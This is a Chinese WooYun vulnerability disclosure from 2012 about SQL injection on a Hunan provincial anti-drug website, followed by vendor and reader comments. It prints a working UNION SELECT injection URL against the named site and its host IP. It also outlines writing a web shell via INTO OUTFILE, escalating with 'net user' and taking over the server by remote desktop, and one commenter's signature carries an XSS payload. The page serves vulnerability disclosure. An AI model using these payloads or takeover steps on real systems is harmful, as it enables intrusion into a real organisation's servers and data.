当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-015026

漏洞标题：湖南禁毒网过滤不严导致SQL注射，最终拿下服务器

相关厂商：湖南禁毒网

漏洞作者： 猴子

提交时间：2012-11-21 12:31

修复时间：2013-01-05 12:32

公开时间：2013-01-05 12:32

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-11-21： 细节已通知厂商并且等待厂商处理中
2012-11-21： 厂商已经确认，细节仅向厂商公开
2012-12-01： 细节向核心白帽子及相关领域专家公开
2012-12-11： 细节向普通白帽子公开
2012-12-21： 细节向实习白帽子公开
2013-01-05： 细节向公众公开

简要描述：

sql注入。

详细说明：

Host IP: 222.240.215.102
Web Server: Apache/2.2.11 (Win32) PHP/5.2.9 mod_jk/1.2.27
Powered-by: PHP/5.2.9

漏洞证明：

http://www.hnjd.net/info_news.php?id=-5486 union select 1,2,3,4,5,group_concat(@@version,0x20,database(),0x20,user(),0x20,@@version_compile_os),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
爆出绝对路径 E:\webroot\hnjd\

.jpg


root配合into outfile 拿到shell

}7318N2O}TH250GU9BS[D2J.jpg


shell权限很大。。可直接用net user 命令提权

提权.jpg


拿到服务器权限
3389连接之。。。。

服务器.jpg


修复方案：

加强info_news.php过滤机制。

版权声明：转载请注明来源 猴子@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：7

确认时间：2012-11-21 22:50

厂商回复：

CNVD确认并复现所述情况，与http://www.wooyun.org/bugs/wooyun-2010-012071所述网站在同一服务器上，确认为同源程序。
再次转由CNCERT湖南分中心协调涉事单位处置。
在wooyun非首报，rank 7

最新状态：

暂无

漏洞评价：

评论

  1. 2012-11-21 12:51 | se55i0n ( 普通白帽子 | Rank:1567 漏洞数:173 )

    @xsser ~这个我很久之前发过，直接没过，为什么DZ发又过了~

  2. 2012-11-21 15:11 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @se55i0n 很多同一个问题不同的人提交，提交的信息，描述过程都不一样的.......

  3. 2012-11-21 15:12 | se55i0n ( 普通白帽子 | Rank:1567 漏洞数:173 )

    @xsser 哈哈~好嘛~字写的好，阅卷老师肯定会多给分

  4. 2012-11-21 15:13 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @se55i0n ... 你站在审核人员的角度看看这个问题撒

  5. 2012-11-21 15:14 | se55i0n ( 普通白帽子 | Rank:1567 漏洞数:173 )

    @xsser 我已经领悟了~

  6. 2012-11-22 11:05 | 猴子 ( 路人 | Rank:19 漏洞数:5 | 我是一只骚猴子)

    @se55i0n - -字写得好。。。。

  7. 2012-11-22 15:04 | 街球幽灵 ( 路人 | Rank:29 漏洞数:5 | 社会工程学研究，手机维修工程师。)

    @猴子 猴子你个XX也来了~~

  8. 2012-11-22 22:24 | 猴子 ( 路人 | Rank:19 漏洞数:5 | 我是一只骚猴子)

    @街球幽灵 不是你说的么。乌云可以腾讯认证白帽子，。我就进来看看，为啥还没认证呐

  9. 2012-11-23 09:08 | 街球幽灵 ( 路人 | Rank:29 漏洞数:5 | 社会工程学研究，手机维修工程师。)

    @猴子 你站内提交资料给@xsser，然后就等待吧~~

  10. 2012-11-23 10:32 | 猴子 ( 路人 | Rank:19 漏洞数:5 | 我是一只骚猴子)

    @街球幽灵 等老了

  11. 2012-11-26 15:25 | 0x7575 ( 实习白帽子 | Rank:62 漏洞数:16 )

    擦擦 我很蛋疼啊 以前我提交几个漏洞 我是第一个提交的 居然不给通过 后面的就通过了 115的注入 暴风的解析等等 悲哀啊

  12. 2012-12-22 15:14 | cy3ber ( 路人 | Rank:3 漏洞数:1 | 11</textarea><script>alert(xss)</script>)

    apache在windows默认就是system权限 这个很蛋疼啊